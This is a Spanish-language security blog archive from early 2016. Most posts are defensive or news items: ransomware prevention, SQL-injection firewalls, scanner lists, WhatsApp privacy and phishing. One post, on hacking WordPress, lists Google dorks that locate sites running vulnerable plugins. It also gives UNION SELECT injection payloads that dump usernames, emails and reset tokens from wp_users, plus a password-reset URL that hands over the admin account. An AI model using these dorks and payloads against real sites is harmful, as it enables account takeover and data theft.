lunes, 21 de marzo de 2016

¿Conoces el ransomware o secuestro de dispositivos?

Los ciberdelincuentes cuentan con muchos modos diferentes de obtener dinero fácil a costa de los sufridos usuarios de las tecnologías actuales. Uno de ellos es el conocido como ransomware o secuestro virtual del dispositivo móvil o equipo informático y que presenta una elevada incidencia desde hace ya algún tiempo.
A través de algún programa malicioso que instalamos involuntariamente en nuestro dispositivo logran bloquearnos su uso e incluso llegan a cifrar toda su información de modo que no nos es posible recuperarla. A cambio de la solución técnica que nos libera del problema, los delincuentes nos piden dinero a modo de rescate pero además, el desembolso de este dinero no siempre supone la liberación del equipo, lo que implica incluso un timo por partida doble.
Qué ocurre si salgo de un grupo de Whastapp del que soy administrador
A través del estudio realizado a nuestros lectores comprobamos que este tipo de programa malicioso ha llegado ya a afectar a un gran volumen de usuarios.  El 11% de los encuestados ha llegado a ser víctima del ransomware lo que supone en números absolutos millones de personas que han visto bloqueado el uso de sus equipos y han puesto en peligro toda su información.
Seguramente no todos han llegado a pagar por su liberación, ya que en la mayoría de los casos existen medios más o menos complicados para solucionar el problema, pero seguro que son muchos los que ante la urgencia y el miedo a perder la información han decidido pagar. Además, en muchos casos, los delincuentes nos hacen creer que es la propia policía la que nos ha bloqueado el equipo por haber incurrido en algún delito en la Red, lo que hace que muchas personas decidan pagar porque realmente creen que se trata de algún tipo de sanción.
Pero lo realmente interesante del estudio es comprobar que más del 55 % de los usuarios ni conocen este tipo de amenaza ni han oído hablar de ella. El desconocimiento del riesgo es uno de los factores principales que utilizan los creadores de estos timos para aprovecharse de sus víctimas.
El solo hecho de conocer su existencia y el modo en que actúa no solo nos va a prevenir ante el riesgo de contraer la “infección”, sino que en el caso de padecerla, sabremos que nunca debemos pagar y que será conveniente buscar ayuda en Internet o confiar el equipo a algún experto.

¿Cómo prevenir el ransomware?

  • El origen del problema siempre es la instalación inadvertida y silenciosa de un programa o aplicación malintencionada con los efectos dañinos descritos. Por tanto, debemos prestar mucha atención a lo que supone la descarga e instalación de cualquier archivo, aunque parezca inofensivo.
  • La procedencia de ese archivo puede ser diversa. Puede llegarnos como adjunto en un correo electrónico normalmente de origen desconocido, puede proceder de alguna descarga en páginas de dudosa reputación, también en programas P2P o también como alguna aparente instalación necesaria en nuestro navegador para actualizarlo o cualquier otro pretexto.
  • En el caso de teléfonos o tabletas, normalmente la infección se produce por permitir al teléfono instalar aplicaciones no oficiales o por instalar durante la navegación algún tipo de característica en el nevagador.
  • Ante la facilidad con que se propaga este virus, uno de los mejores consejos que se pueden dar es realizar copias de seguridad periódicamente, porque la realidad es que en algunos casos nuestros archivos pueden verse afectados irreversiblemente.
  • Es importante también mantener actualizados los sistemas operativos y resto de programas y aplicaciones. Los fabricantes incluyen mejoras de seguridad que no obtendremos si no actualizamos periódicamente.
  • Un buen sistema de antivirus debidamente actualizado puede ser una importante medida de prevención.
  • Nunca pagar el rescate, no debemos favorecer el desarrollo de esta amenaza, además, nunca estaremos seguros de si por medio del pago vamos a obtener la solución prometida.

Recuperación del equipo

Los virus capaces de secuestrar los equipos son muy variados y han evolucionado mucho con el tiempo. Además, según el sistema operativo del que se trate, actuará de un modo u otro.
En muchos casos, como en la mayoría de los que afectan a Windows, bastará conrestaurar el equipo a un estado anterior.
En el caso de Android la solución suele pasar por reiniciar el teléfono en modo seguro y desinstalar entonces la aplicación maliciosa.
No obstante, no es posible dar una “receta” válida para todos los casos y todos los tipos de dispositivos. Si nos vemos en esta desagradable situación, deberemos buscar información en Internet precisa para nuestro modelo o equipo y si no nos vemos capacitados, lo mejor es pedir ayuda alguien experto o confiarlo a algún servicio técnico.

domingo, 20 de marzo de 2016

Appie v3: un entorno portable para pentesting de Android

¿Tienes que hacer pentesting de Android y tu portátil del trabajo tiene menos memoria que un zx81 y encima es Güindous? Appie es un paquete de software que ha sido preconfigurado para funcionar en cualquier Windows como un entorno de pentesting de Android de tal forma que ya no necesitaremos usar una máquina virtual o tener un arranque dual. Es decir, tendremos todas las herramientas necesarias funcionando sin necesidad de hacer cambios en nuestro sistema y necesitaremos unos 1,5 gigas en lugar de los 10 aprox. de una VM, además de menos memoria RAM.

Es totalmente portátil y se puede llevar en una memoria USB o smartphone y, en definitiva, se trata de una respuesta única para todas las herramientas necesarias para la evaluación de seguridad de las aplicaciones y análisis forense y de malware en Android. 



Estas son las herramientas que se incluyen en la última versión 3:

Más info en: https://manifestsecurity.com/appie/

pd. el logo que han puesto me recuerda muy mucho al de Arch Linux.

miércoles, 2 de marzo de 2016

Hackea el pentágono y ganate una recompensa

Recientemente el Departamento de Defensa de los EE.UU. ha anunciado lo que llaman "el primer programa de recompensas de vulnerabilidades de la historia del gobierno federal", invitando a los hackers de todo el mundo a que pongan a prueba la seguridad de sus páginas web y redes.



El concurso es sólo para hackers "examinados", lo que significa que cualquier persona con la esperanza de encontrar vulnerabilidades en sus sistemas primero tendrá que pasar una comprobación de sus antecedentes. Luego, según comenta la Agencia (y por supuesto), los participantes podrán ganar dinero y reconocimiento por su trabajo.

El programa piloto está programado para comenzar en abril. Eso sí, los participantes empezarán a trabajar en un sistema predeterminado que no es parte de sus operaciones críticas.

De acuerdo con una lista publicada el Departamento de Defensa gestiona actualmente 488 sitios web que se dedican a todo, desde el 111th Attack Wing y otras unidades militares hasta el programa de reintegración Yellow Ribbon.

La iniciativa "Hackea el Pentágono" es el trabajo del Servicio de Defensa digital, una unidad del Departamento de Defensa, que fue lanzada el pasado otoño como parte del Servicio Digital de la Casa Blanca.

Según el director del DDS Chris Lynch, "Traer el mejor talento, la tecnología y los procesos del sector privado no sólo nos ayuda a ofrecer soluciones integrales y más seguridad para el Departamento de Defensa, sino que también nos ayuda a proteger mejor a nuestro país."

El verano pasado, la Oficina de Administración de Personal reveló que la información privada de más de 20 millones de trabajadores y otras personas del gobierno de Estados Unidos había sido robados en un fallo de seguridad masiva.

Hace casi tres años, el Pentágono dijo públicamente el gobierno de China ha llevado a cabo ataques cibernéticos contra el gobierno de EE.UU., citando los ataques a "numerosas redes de EE.UU. diplomáticos, económicos y de la industria de defensa".

Así que crear un programas bug bounty como otras empresas privadas, parece una buena idea...

martes, 1 de marzo de 2016

Firewall para evitar técnicas “SQL injection”.


Firewall  para evitar técnicas “SQL injection”.


Además de auditar el código de las aplicaciones Web y realizar test de penetración, también se debería implementar un firewall de aplicación para evitar ataques con técnicas de SQL injection. En este post tratare de dos Firewalls de aplicación muy recomendables: SQLassie y GreenSQL.
GreenSQL.

Un cortafuegos diseñado para bases de datos MySQL. Su funcionamiento se basa en un proxy que evalúa los comandos SQL antes de enviarlos a la base de datos, utilizando una matriz que acumula ordenes y bloquea comandos administrativos como: DROP, CREATE … y así evitar un ataque de “SQL injection” a una base de datos MySQL.
El cortafuego GreenSQL se puede utilizar de las siguientes formas:




Modo simulación, se comporta como un sistema de detección de intrusos.
Modo IPS, se comporta como un sistema de prevención de intrusos, bloqueando los comandos peligrosos.
Modo de aprendizaje, utiliza un periodo de prueba para aprender los comandos que se suelen utilizar y los añade en una lista. Para después bloquear el resto de comandos que no están en la lista de aprendizaje.
Modo cortafuegos, bloquea los comandos desconocidos.
Este disponible bajo licencia GPL para las siguientes distribuciones: CentOS, openSUSE, Fedora, Ubuntu y Debian.

Más información y descarga de GreenSQL:
https://sourceforge.net/projects/greensql/

SQLassie.

Un firewall de aplicación, basado en un proxy entre servidor de base de datos y la aplicación web, analizando sentencias SQL en tiempo real, a medida que se envían desde la aplicación al servidor de base de datos. SQLassie analiza las consultas y busca acciones sospechosas, que son indicativos de los ataques de SQL injection. Estas acciones son luego analizados mediante filtrado bayesiano, para determinar la probabilidad de que una consulta contenga un ataque.

SQLassie determina que una consulta es un ataque, bloquea la ejecución de la consulta y responde a lasolicitud con un mensaje apropiado. Por ejemplo, si un atacante está intentando acceder a las credenciales de usuario, SQLassie respondería con un conjunto vacío, y la aplicación se limitaría a pensar que la consulta no produjo resultados. Tanto la aplicación como el atacante no se darán cuenta del bloqueo de la sentencia por parte de SQLassie.
Según sus desarrolladores SQLassie está fuertemente inspirado por GreenSQL. GreenSQL es una excelente idea teórica, pero en algunos casos la tasa de falsos positivos es alta. Por ejemplo, cadaconsulta que se genera por MediaWiki, incluye un comentario incorporado que explica su intención. GreenSQL bloquea todas las consultas con los comentarios, esto hace MediaWiki inutilizable con GreenSQL.

SQLassie actualmente sólo es compatible con MySQL. La instalación es fácil, sólo se debe configurarSSQLassie para conectarse al servidor de base de datos, iniciar SQLassie, y luego configurar las aplicaciones Web para conectarse a SQLassie, en lugar de directamente al servidor de base de datos.

Más información y descarga de SQLassie:
http://www.sqlassie.org/

hackear wordpress con google dorks.

Hola a tod@s

En modo de celebración que hemos terminado un certificado de "Power of searching" de google , el cual nosotros hemos usado para mejorar nuestras habilidades de google dorks.



Wordpress es sin duda el CMS más popular y usado por los usuarios de la blogosfera, por ello también es el más atacado debido a los miles de plugins y temas disponibles para WordPress.

Lo primero que se realiza es la parte de enumeración y como encontrar sitios que utilicen Wordpress y los plugins que utilizan.



Encontrar sitios con Wordpress:
  • intext:"Proudly powered by WordPress. "
  • intext:"Powered by WordPress. " 

Ver plugins instalados:
  • inurl: /wordpress/wp-content/plugins/

Es hora de buscar algunas vulnerabilidades conocidas:
Listado de directorio
  • "index of" inurl:wp-content/
  • "inurl:"/wp-content/plugins/wp-shopping-cart/"

Una de base de datos
  • "inurl:wp-content/plugins/wp-dbmanager/"

Wordpress theme Doraa XSS Vulnerability
  • Themes by Bons.us

Wordpress theme Dosimple XSS Vulnerability
  • "Theme by domainagan.com."

WordPress WP Symposium Plugin Cross Site Scripting
  • "/wp-content/plugins/wp-symposium/"

WordPress mTheme-Unus Local File Inclusion
  • ilnurl:/wp-content/themes/mTheme-Unus/

Wordpress Better-wp-security Plugin Remote Code Execution
  • inurl:wp-content/plugins/better-wp-security

WordPress U-Design Theme 2.7.9 Cross Site Scripting
  • inurl:/wp-theme/u-design/

 Wordpress Plugin easy-comment-uploads File Upload Vulendrability
  • inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php


WordPress Category and Page Icons File Upload
  • index of "/wp-content/plugins/category-page-icons/"

 WordPress theme parallelus-salutation Arbitrary File Download Vulnerability
  • inurl:themes/parallelus-salutation/ OR inurl:themes/parallelus-salutation/framework/

WordPress Auto-ThickBox-Plus XSS Vulnerability
inurl:"/wp-content/plugins/auto-thickbox-plus/"

Wordpress "Js Support Ticket" File Upload Bypass Extensions
inurl:/js-support-ticket-controlpanel/

WordPress Appointment Booking Calendar 1.1.24 Escalation / XSS
Index of /wordpress/wp-content/plugins/appointment-booking-calendar/

WordPress Appointment Booking Calendar 1.1.24 SQL Injection
  • Index of /wordpress/wp-content/plugins/appointment-booking-calendar/

Full Path Disclosure (FPD), usaremos la siguiente dork:
  • inurl:"/wp-includes/

Wordpress Formcraft Plugin File Upload Vulnerability
  • intext:"powered by formcraft", inurl:plugins/formcraft

Wordpress Smallbiz Themes Remote File Uploads Vulnerability


  • inurl:wp-content/themes/smallbiz/palette/index.php

Wordpress clikstats plugin Open Redirect
  • Dork: inurl:"/wp-content/plugins/clikstats/ck.php?"

Arbitrary File Upload: Easy Comment Uploads - Version - 3.2.1, usamos la siguiente dork:
  • inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

Stored XSS: Versión 3.2.3, usamos la siguiente dork:
  • inurl:/wp-content/plugins/count-per-day/notes.php

Arbitrary File Upload: Custom Content Type Manager, usamos la siguiente dork:
  • inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php

SQL Injection: Wordpress HD Webplayer - Versión 1.1, usamos la siguiente dork:
  • inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=

[Full-disclosure] WordPress <= 2.8.3 Remote admin reset password. Con este obtendremos el user_login y user_email de la siguiente manera:
  • /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users

Una vez obtenido el usuario o e-mail nos dirigimos a www.sitio-web.com/wp-admin y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail.
Presionar en "Get New Password" la cual el sitio web enviara un token, dicho token se almacena en la DB, por lo tanto se obtendrá dicho código de la siguiente manera:
  • /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,1​0,11 from wp_users

Obtenido el token, sólo faltaría restablecer la contraseña, para ello nos dirigimos al siguiente link:
http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario
Remplazamos el token  y usuario por lo datos que nos arroja la DB, por ejemplo:
http://www.sitio-web.com/wp-login.php?action=rp&key=JAr7W8letkza&login=admin
Por lo que lograremos la opción de restablecer la password fácil, fácil y con fundamento.


jueves, 25 de febrero de 2016

Las 10 mejores herramientas de seguridad de 2015 según los lectores de ToolsWatch

omo en los últimos años ToolsWatch, una web indispensable para mantener actualizado el arsenal de herramientas de seguridad y hacking, ha publicado el top 10 de las herramientas más votadas por sus lectores:



01- OWASP ZAP – Zed Attack Proxy Project
 (+1↑): es una herramienta integrada y fácil de usar de pruebas de intrusión para encontrar vulnerabilidades en aplicaciones web. ZAP ofrece escáneres automáticos, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad de forma manual.

02- Lynis 
(+1↑): es una herramienta de auditoría de seguridad de código abierto que puede ser utilizada para evaluar la seguridad de sistemas basados ​​en Unix/Linux. Se ejecuta en el propio host, por lo que realiza un análisis de seguridad más amplio que los escáneres de vulnerabilidad.

03- Haka 
(NEW): es un lenguaje de código abierto orientado a la seguridad que permite describir los protocolos y aplicar políticas de seguridad en tráfico capturado en tiempo real.

04- Faraday 
(NEW): introduce un nuevo concepto de entorno integrado de pruebas de intrusión. Está diseñado para la distribución, indexación y análisis de los datos generados durante el proceso de una auditoría de seguridad.

05- BeEF – The Browser Exploitation Framework 
(-1↓): es un framework de explotación de navegadores web. Controla a todas las víctimas y permite ejecutar diferentes tipos de payloads, ademas de capturar información como el sistema operativo utilizado, navegador, dirección IP, cookies, etc.

06- Burp Suite 
(NEW): es una plataforma integrada para la realización de pruebas de seguridad en aplicaciones web. Sus diversas herramientas funcionan conjuntamente para soportar todo el proceso de pruebas, desde el mapeo inicial y análisis de los vectores de ataque a través de la búsqueda y explotación de vulnerabilidades.

07- PeStudio 
(-1↓): es una aplicación que realiza una Evaluación Inicial de Malware de cualquier archivo ejecutable (*.exe, *.dll, *.sys, *.cpl, etc...). Dado que el archivo que se analiza no se ejecuta, puedes inspeccionar cualquier ejecutable malicioso o desconocido sin riesgo.

08- nmap
 (+2↑): hoy en día es el escáner de red de facto. Gratuita y de código abierto es utilizada ampliamente para el descubrimiento de equipos, identificación de servicios, versiones de sistemas operativos, tipo de firewalls/filtrado de paquetes existentes entre medias e incluso vulnerabilidades.

09- IDA 
(NEW): es el desensamblador interactiv más completo y con el que están familiarizados muchos especialistas. Escrito completamente en C++, se ejecuta en los tres principales sistemas operativos: Microsoft Windows, Mac OS X y Linux.

10- OWASP Offensive (Web) Testing Framework
 (-3↓): es un framework enfocado en reunir las mejores herramientas y hacer las pruebas de intrusión más eficientes automatizando las tareas más repetitivas. Está escrita en python.

Resultados de 2014:

01 – Unhide (NEW)
02 – OWASP ZAP – Zed Attack Proxy Project (-1↓)
03 – Lynis (+3↑)
04 – BeEF – The Browser Exploitation Framework (-2↓)
05 – OWASP Xenotix XSS Exploit Framework (0→)
06 – PeStudio (-2↓)
07 – OWASP Offensive (Web) Testing Framework (NEW)
08 – Brakeman (NEW)
09 – WPScan (0→)
10 – Nmap (NEW)

Resultados de 2013:

01 - OWASP Zed Attack Proxy (ZAP)
02 - BeEF (The Browser Exploitation Framework)
03 - Burp Suite
04 - PeStudio
05 - OWASP Xenotix XSS Exploit Framework
06 - Lynis
07 - Recon-ng
08 - Suricata
09 - WPScan
10 - O-Saft (OWASP SSL Advanced Forensic Tool)

Fuente2015 Top Security Tools as Voted by ToolsWatch.org Readers

martes, 23 de febrero de 2016

Listado de herramientas online para escanear sitios web potencialmente maliciosos

¿Has visto un comportamiento anómalo navegando por cierto sitio web? ¿Estás observando un patrón extraño de varios usuarios accediendo hacia un servidor sospechoso a través de tu proxy y/o firewall? ¿O quizás simplemente quieres comprobar si el enlace de un mensaje de correo electrónico es seguro antes de acceder a él? 
Son sólo unos ejemplos de lo útiles que pueden resultar, incluso en entornos profesionales, algunos sitios de análisis online de sitios web sospechosos. Gracias a Lenny Zeltser tenemos un extenso recopilatorio de herramientas de análisis gratuitas, muchas de las cuales consultan bases de datos de listas negras, otras directamente realizan un rápido análisis de las URL y otras... ambas:



  • AVG LinkScanner Drop Zone: Analiza la URL en tiempo real en busca de amenazas
  • BrightCloud URL/IP Lookup: Presenta datos históricos de la reputación del sitio web
  • Comodo Web Inspector: Examina la URL en tiempo real
  • Cisco SenderBase: Presenta datos históricos de la reputación del sitio web
  • Cyscon SIRT: Proporciona datos históricos de direcciones IP, dominios y ASN
  • Deepviz: Ofrece datos históricos de Intel sobre IP, dominios, etc. .
  • FortiGuard lookup: Muestra el historial de URL y la categoría
  • Is It Hacked: Realiza controles propios de la URL en tiempo real y consulta algunas listas negras
  • IsItPhishing: Evalúa la URL especificada en tiempo real
  • KnownSec: Presenta los datos de reputación históricos acerca de la página web; en chino sólo
  • Norton Safe Web: Se presentan los datos reputación histórica sobre el sitio web
  • PhishTank: Busca la URL en su base de datos de sitios web de phishing conocidos
  • Malware Domain List: Busca sitios web maliciosos reportados recientemente
  • MalwareURL: Busca la URL en la lista histórica de sitios web maliciosos
  • McAfee Site Advisor: Presenta datos de reputación histórica sobre el sitio
  • McAfee TrustedSource: Presenta los datos de reputación histórica sobre el sitio web
  • MxToolbox: Consulta múltiples fuentes de reputación para obtener información sobre la dirección IP o el dominio
  • Quttera ThreatSign: Escanea la URL especificada en busca de presencia de malware
  • Reputation Authority: Muestra los datos de reputación del dominio especificado o la dirección IP
  • Sucuri SiteCheck: Escanea la URL de malware en tiempo real y busca en varias listas negras
  • Trend Micro Web Reputation: Presenta los datos de reputación histórica sobre el sitio web
  • Unmask Parasites: Busca la URL en la base de datos de navegación segura de Google
  • URL Blacklist: Busca la URL en su base de datos de sitios sospechosos
  • URL Query: Busca la URL en su base de datos de sitios sospechosos y examina el contenido del sitio
  • URLVoid: Busca la URL en varios servicios de blacklisting
  • VirusTotal: Busca la URL en varias bases de datos de sitios maliciosos
  • vURL: Recupera y muestra el código fuente de la página; consulta su situación en varias listas negras
  • WebPulse Site Review: Busca la página web en la base de datos de BlueCoat
  • Wepawet: Analiza la URL en tiempo real en busca de amenazas
  • Zscaler Zulu URL Risk Analyzer: Examina la URL usando técnicas históricas y en tiempo real

lunes, 22 de febrero de 2016

Cómo borrar completamente una conversación del Whatsapp

Una de las consultas que recibimos con más frecuencia y que despiertan una mayor inquietud es si las conversaciones mantenidas con Whatsapp y ya borradas pueden llegar a recuperarse de algún modo.
Cómo borrar completamente una conversación del Whatsapp
Sabemos que la aplicación realiza copias de seguridad de nuestros chats y que a partir de ellas es posible recuperar conversaciones mantenidas en el pasado, siempre que quedaran guardadas en esas copias.
Lo que muchas personas quieren es eliminar de forma definitiva las conversaciones para que nunca nadie las pueda leer. Las razones para procurar esta privacidad suelen tener relación con el temor al espionaje por parte de alguien próximo, pero también con el hecho de utilizar la aplicación para conversar de temas absolutamente personales y comprometedores, algo poco recomendable al tratarse de medios que funcionan a través de Internet.
Lo que necesitaremos para asegurarnos de que nuestra conversación no es recuperable será o bien borrarla antes de que sea almacenada en la copia de seguridad o bien eliminar las copias de seguridad que pudieran contenerla.

Borrarla antes de que sea guardada

Si mantenemos una conversación comprometedora y queremos que no quede rastro en nuestro teléfono, lo que debemos hacer es borrarla antes de que se realice la copia de seguridad automática, que se lleva a cabo diariamente y siempre en horario nocturno.
Para borrarla debemos pulsar prolongadamente en uno de nuestros chats desde la página principal y veremos cómo nos aparece la posibilidad de ‘Eliminar chat’, como podemos ver en la imagen de arriba.
Los chats borrados no se guardarán en la copia de seguridad y por tanto no será posible recuperarlos de ninguna manera.
¡Ojo!, eliminar un chat no implica el borrado de las fotos, vídeos o archivos de audio que pudiera contener la conversación. Conviene eliminarlos desde el propio chat antes de borrarlo o utilizar algún gestor de archivos posteriormente para revisar el contenido de las carpetas de Whatsapp. Aunque esta eliminación no es del todo segura, como ya explicamos en este artículo anterior.

Eliminar las copias de seguridad

Si pensamos que una conversación comprometedora puede haber sido guardada en la copia de seguridad, lo más prudente será eliminar los archivos de esas copias.
Podemos saber a qué hora se realizó la última copia de seguridad. En el caso de Android, debemos ir a ‘Ajustes > Chats y llamadas > Copia de seguridad’. En otros sistemas el lugar es equivalente, pero la secuencia puede ser diferente.
Cómo borrar completamente una conversación del Whatsapp
En el caso de Android, vemos que pueden figurar dos copias, la que se guarda en la memoria del teléfono y la que queda almacenada en la nube, en Google Drive.
  • Borrar la copia de la nube: como en Google Drive (iCluod en iPhone) solo se almacena la última copia de seguridad, bastará con crear manualmente una nueva copia tras eliminar la conversación no deseada de nuestra lista de chats. En caso de forzar la recuperación con esa copia, la conversación ya no aparecerá.
    En el caso de Android, además, podemos eliminar la copia de Google Drive si queremos anular esta posibilidad de recuperación.  Para ello debemos acceder a nuestro Google Drive y seguir la siguiente secuencia, ‘Icono del engranaje > Configuración > Administrar aplicaciones > Whastapp > Opciones > Eliminar datos de aplicación ocultos’.
Cómo borrar completamente una conversación del Whatsapp
  • Borrar las copias de la memoria del teléfono. También podemos forzar una nueva copia cuando ya hemos borrado la conversación indeseada y confirmar que realmente cambia la fecha de ésta a la de hoy.
    En el caso de Android, el sistema no guarda únicamente el último archivo de copia de seguridad, sino que almacena los últimos mueve archivos, por lo que deberemos asegurarnos de eliminarlos todos si queremos tener mayor seguridad.
    Cómo borrar completamente una conversación del Whatsapp
    A través de un explorador de archivos, debemos acceder a la carpeta del teléfono …/Whatsapp/Databases/ y borrar todo su contenido o conservar solo la última copia que hemos realizado manualmente.
Las acciones descritas eliminan los archivos de copia de seguridad con los que el sistema puede restaurarse tras una reinstalación. Por tanto, lo que hemos visto, evita que alguien pueda recuperar las conversaciones indeseadas con el solo hecho de reinstalar la aplicación.
Pero dejemos claro que los sistemas de mensajería son vulnerables en su seguridad y por tanto nunca son absolutamente fiables en su privacidad. Son muchos los modos por los que alguien podría llegar a espiar nuestras conversaciones.
  • Mediante un programa malicioso instalado en nuestro dispositivo capaz de espiar todo lo que hacemos de forma silenciosa y de facilitarlo a quien nos espía.
  • Por conectarnos a través de redes wifi que podrían estar intervenidas de forma que interceptan nuestras conversaciones.
  • Errores nuestros propios del exceso de confianza, como la posibilidad de dejar abierta nuestra sesión de Whatsapp Web en algún ordenador o tablet.
  • La pérdida o robo del teléfono sin haber configurado los medios de protección necesarios para salvaguardar su información.
Convenzámonos, estos medios de comunicación no son los más seguros para entablar conversaciones peligrosas y comprometedoras.

Herramientas para técnicas automatizadas de “SQL injection”.

“SQL injection” es una técnica de inyección de código intruso que se vale de una vulnerabilidad informática en una aplicación a nivel de validación de entradas para realizar operaciones sobre una base de datos. La vulnerabilidad existe cuando se realiza un incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Se conoce como “SQL injection”, indistintamente del tipo de vulnerabilidad y del método de inyección, al hecho de inyectar código SQL intruso y a la porción de código inyectado.
En este post tratare de las herramientas de automatización de inyección SQL, que yo destacaría. Que son las siguientes:



SQL Power Injection Injector.

Su principal baza es la capacidad de automatizar inyecciones SQL pesadas utilizando para ello múltiples procesos.

Principales características:

Disponible para las plataformas: Windows, Unix y Linux.
Soporta SSL.
Realiza la técnica de inyección ciega de SQL. Comparando las respuestas verdaderas y falsas de las páginas o de los resultados de las cookies y los retrardos de tiempo.
Soporta los motores de bases de datos: Microsoft SQL Server, Oracle, MySQL, Sybase/Adaptive y DB2.
Más información y descarga de SQL Power Injection Injector:
http://www.sqlpowerinjector.com/

Tutorial de SQL Power Injection Injector:
http://www.sqlpowerinjector.com/docs/TutorialSPInjv1.1.pdf

SQLMap.

Es una aplicación de automatización de inyección ciega de SQL, desarrollada en Python. Es capaz de generar una huella digital activa del sistema de administración de bases de datos.

Principales características:

Al estar escrita en Python es multiplataforma.
El apoyo total para MySQL, Oracle, PostgreSQL y el servidor de Microsoft SQL.
Puede identificar también Microsoft Access, DB2, Informix, Sybase e Interbase.
Más información y descargar SQLMap :
http://sqlmap.org/

Documentación modo de empleo SQLMap:
https://github.com/sqlmapproject/sqlmap/wiki



SQLNinja.

Es una herramienta para explotar vulnerabilidades de inyección SQL en aplicaciones web que utilizanMicrosoft SQL Server como su motor de base de datos.

Principales características:

Realiza Fingerprint de servidores SQL.
Realiza ataques de fuerza a bruta a la cuenta del “sa”.
Utiliza técnicas de evasión de IDS/IPS/WAF.
Escanea puertos TCP/UDP del servidor SQL que ataca, para encontrar los puertos permitidos por el cortafuegos de la red y utilizarlos para emplear un reverse Shell.
Más información y descargar de SQLNinja:
http://sqlninja.sourceforge.net/

Manuales de SQLNinja:
http://sqlninja.sourceforge.net/sqlninja-howto.html

WITOOL.

Una sencilla herramienta de inyección SQL que solo está disponible para plataformas Windows. Esta herramienta solo soporta Ms SQL y Oracle, pero es útil para una primera toma de contacto debido a su sencillez.

Más información y descarga de WITOOL:
http://witool.sourceforge.net

The Mole.

Es una herramienta para la explotación automatizada de inyección SQL en páginas Web. Solo necesita una URL vulnerable y una cadena válida en el sitio y puede detectar la vulnerabilidad y explotarla, ya sea mediante el uso de la técnica de unión o una consulta basada en técnicas booleanas.

The Mole utiliza una interfaz basada en comandos, lo que permite al usuario indicar la acción que quiere realizar fácilmente. Con esta herramienta podemos auditar si un sitio web es vulnerable a un ataque de inyección SQL, de una forma rápida y totalmente automatizada.

Características principales de The Mole:

Soporte para MySQL, Postgres, SQL Server y Oracle.
Interfaz de línea de comandos.
Autocompletado para: comandos, argumentos de comandos y tablas y nombres de columnas en bases de datos.
Desarrollado en Python 3.
Explotación de inyección SQL automático utilizando la técnica de unión y técnicas booleanas.
Explotación de inyección SQL ciega automática.
Explota inyecciones SQL en: GET, parámetros de POST y COOKIES.
Soporte para filtros, con el fin de eludir ciertas reglas IPS / IDS utilizando filtros genéricos, y la posibilidad de crear otros nuevos con facilidad.
Explota inyecciones SQL que devuelven datos binarios.
Intérprete de comandos de gran alcance para simplificar su uso.
Más información y descarga de The Mole:
http://themole.sourceforge.net/

Tutorial de uso de The Mole:
http://www.aldeid.com/wiki/TheMole

martes, 16 de febrero de 2016

Enuentra puntos de acceso Wi-Fi de confianza con la nueva app Wi-Fi Finder

A todo el mundo le gusta ahorrar datos utilizando redes Wi-Fi gratuitas, pero esto puede suponer un riesgo si el punto de acceso no está protegido. Los hackers pueden ver lo que estás haciendo, leer tus mensajes, ver los sitios a los que accedes e incluso robar tus nombres de usuario y contraseñas.
Wi-Fi FInder mapWi-Fi Finder list view


Cómo encontrar puntos de acceso Wi-Fi seguros

La nueva app de Avast para Android, Wi-Fi Finder, es una aplicación que te ayuda a encontrar redes Wi-Fi seguras, fiables y rápidas, en cualquier lugar en el que te encuentres. Gracias a un intuitivo mapa, encontrar redes recomendadas por los usuarios es muy sencillo. Avast Wi-Fi Finder te ayuda a seleccionar conexiones Wi-Fi seguras para que no tengas que preocuparte de sobrepasar tu plan de datos o de las conexiones de datos lentas. Avast Wi-Fi Finder es gratuita para los usuarios de Avast Mobile Security. Descarga Avast Wi-Fi Finder desde Google Play Store. Para iOS, descarga Wi-Fi Finder desde iTunes.



“Muchos de nosotros nos hemos encontrado en situaciones en las que, mientras viajabas o trabajamos a distancia, no somos capaces de encontrar conexiones Wi-Fi seguras y de confianza”, dice Gagan Singh, presidente de la división móvil de Avast. “Con Avast Wi-Fi Finder, los usuarios pueden encontrar conexiones Wi-Fi rápidas y seguras estén donde estén, ya sea un gimnasio, un hotel, un aeropuerto, una estación de bus, una biblioteca o un café.”

Avast Wi-Fi Finder te ayuda a:
Conectarte a redes rápidas y seguras
Obtener velocidad sin comprometer la privacidad
Acceder a un listado de redes Wi-Fi cercanas, recomendadas y analizadas por usuarios cercanos.

Así es cómo Avast encontró todos estos puntos de acceso Wi-Fi

En Agosto de 2015, Avast inició un programa de crowdsourcing que permitió que los usuarios de Avast Mobile Security ayudaran a Avast a descubrir puntos de acceso Wi-Fi. Haciendo un listado de nuestros 230 millones de usuarios, nuestro equipo recopiló información sobre puntos de acceso Wi-Fi de datos de voluntarios y analizaron la seguridad de cada punto de acceso antes de crear Avast Wi-Fi Finder.

lunes, 15 de febrero de 2016

¿Te piden actualizar tu correo para 2016? Es un timo

Los argumentos utilizados por los delincuentes informáticos para engañarnos son infinitos. En este caso que comentamos hoy, quieren hacernos creer que debemos actualizar nuestra cuenta de correo para que siga funcionando a partir de 2016.
¿Te piden actualizar tu correo para 2016? Es un timo
Lo recibí en una de mis cuentas la semana pasada. Aunque el sistema utilizado es bastante burdo, la excusa que nos presentan puede llegar a ser creíble para usuarios poco expertos.
El pretexto que utilizan para dirigirnos a una Web fraudulenta es lo de menos. Son tantas las posibilidades que pueden emplear que no podemos abarcarlas todas y lo que debemos hacer es estar atentos a mensajes sospechosos como éste, sobre todo si además nos piden introducir las credenciales.
En este caso, nos hacen creer que nuestro correo electrónico va a dejar de funcionar al haber cambiado de año y que debemos actualizarlo para poder seguir utilizándolo. Nos muestran un enlace que debemos seguir y que aparece bien llamativo en el cuerpo del mensaje.
